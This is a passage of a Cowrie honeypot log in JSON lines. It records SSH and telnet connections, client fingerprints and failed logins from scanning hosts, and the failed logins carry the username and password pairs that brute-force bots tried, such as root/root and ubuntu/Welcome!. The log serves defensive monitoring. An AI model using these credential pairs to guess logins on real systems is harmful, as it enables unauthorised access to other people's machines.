nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:48.550488Z","src_ip":"220.247.224.226","session":"d420934e75c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"password123","message":"login attempt [ts3/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:48.701021Z","src_ip":"200.118.150.20","session":"83b768312f04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tickwsuser","password":"tickwsuser","message":"login attempt [tickwsuser/tickwsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:49.481918Z","src_ip":"220.247.224.226","session":"d420934e75c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:49.793845Z","src_ip":"200.118.150.20","session":"83b768312f04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:56:50.714508Z","src_ip":"220.247.224.226","session":"d420934e75c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":60368,"dst_ip":"10.17.0.5","dst_port":22,"session":"93faee22ed76","protocol":"ssh","message":"New connection: 202.125.94.71:60368 (10.17.0.5:22) [session: 93faee22ed76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:10.961606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:10.966596Z","src_ip":"202.125.94.71","session":"93faee22ed76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:11.226211Z","src_ip":"202.125.94.71","session":"93faee22ed76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":51784,"dst_ip":"10.17.0.5","dst_port":22,"session":"4804129bc193","protocol":"ssh","message":"New connection: 200.187.71.114:51784 (10.17.0.5:22) [session: 4804129bc193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:11.342585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:11.346991Z","src_ip":"200.187.71.114","session":"4804129bc193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:11.461351Z","src_ip":"200.187.71.114","session":"4804129bc193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome!","message":"login attempt [ubuntu/Welcome!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:11.951790Z","src_ip":"200.187.71.114","session":"4804129bc193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"Admin@123","message":"login attempt [es/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:12.296010Z","src_ip":"202.125.94.71","session":"93faee22ed76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:13.067731Z","src_ip":"200.187.71.114","session":"4804129bc193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:13.561233Z","src_ip":"202.125.94.71","session":"93faee22ed76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":9724,"dst_ip":"159.203.135.109","dst_port":22,"session":"93fb2cd0b773","protocol":"ssh","message":"New connection: 220.247.224.226:9724 (159.203.135.109:22) [session: 93fb2cd0b773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:45.580003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:45.585264Z","src_ip":"220.247.224.226","session":"93fb2cd0b773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:45.811514Z","src_ip":"220.247.224.226","session":"93fb2cd0b773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ldapuser","password":"123456","message":"login attempt [ldapuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:46.744678Z","src_ip":"220.247.224.226","session":"93fb2cd0b773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:47.975316Z","src_ip":"220.247.224.226","session":"93fb2cd0b773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:48.647971Z","src_ip":"14.103.107.209","session":"3c1e1ed40237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52470,"dst_ip":"10.17.0.5","dst_port":22,"session":"17195488abe0","protocol":"ssh","message":"New connection: 193.32.162.145:52470 (10.17.0.5:22) [session: 17195488abe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:53.871253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:53.877247Z","src_ip":"193.32.162.145","session":"17195488abe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:53.993497Z","src_ip":"193.32.162.145","session":"17195488abe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"geyser","password":"geyser","message":"login attempt [geyser/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:54.499085Z","src_ip":"193.32.162.145","session":"17195488abe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:57:55.670446Z","src_ip":"193.32.162.145","session":"17195488abe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":57036,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddee1aa73785","protocol":"ssh","message":"New connection: 200.187.71.114:57036 (10.17.0.5:22) [session: ddee1aa73785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:58:10.017618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:58:10.023332Z","src_ip":"200.187.71.114","session":"ddee1aa73785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:58:10.138818Z","src_ip":"200.187.71.114","session":"ddee1aa73785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"odoo2018","message":"login attempt [root/odoo2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:58:10.627681Z","src_ip":"200.187.71.114","session":"ddee1aa73785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:58:11.746746Z","src_ip":"200.187.71.114","session":"ddee1aa73785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":48704,"dst_ip":"159.203.135.109","dst_port":22,"session":"31db4a9d935e","protocol":"ssh","message":"New connection: 220.247.224.226:48704 (159.203.135.109:22) [session: 31db4a9d935e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:58:45.366807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:58:45.371999Z","src_ip":"220.247.224.226","session":"31db4a9d935e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:58:45.604789Z","src_ip":"220.247.224.226","session":"31db4a9d935e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11","message":"login attempt [user/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:58:46.561889Z","src_ip":"220.247.224.226","session":"31db4a9d935e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:58:47.796678Z","src_ip":"220.247.224.226","session":"31db4a9d935e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":42806,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f16049277d8","protocol":"ssh","message":"New connection: 200.187.71.114:42806 (10.17.0.5:22) [session: 8f16049277d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:08.786058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:08.789451Z","src_ip":"200.187.71.114","session":"8f16049277d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:08.904184Z","src_ip":"200.187.71.114","session":"8f16049277d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty77","message":"login attempt [ubuntu/qwerty77] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:09.393394Z","src_ip":"200.187.71.114","session":"8f16049277d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:10.511868Z","src_ip":"200.187.71.114","session":"8f16049277d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.205.1.36","src_port":48598,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0c67b00fb90","protocol":"telnet","message":"New connection: 45.205.1.36:48598 (10.17.0.5:23) [session: e0c67b00fb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:38.018455Z"}
{"eventid":"cowrie.session.closed","duration":0.004738330841064453,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:38.023085Z","src_ip":"45.205.1.36","session":"e0c67b00fb90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.205.1.36","src_port":48604,"dst_ip":"10.17.0.5","dst_port":23,"session":"22a0ad03eae3","protocol":"telnet","message":"New connection: 45.205.1.36:48604 (10.17.0.5:23) [session: 22a0ad03eae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:38.130258Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:38.630458Z","src_ip":"45.205.1.36","session":"22a0ad03eae3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5005578994750977,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:39.630674Z","src_ip":"45.205.1.36","session":"22a0ad03eae3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.205.1.36","src_port":48618,"dst_ip":"10.17.0.5","dst_port":23,"session":"1359337d3b62","protocol":"telnet","message":"New connection: 45.205.1.36:48618 (10.17.0.5:23) [session: 1359337d3b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:39.741688Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:59:40.242694Z","src_ip":"45.205.1.36","session":"1359337d3b62","protocol":"telnet"}
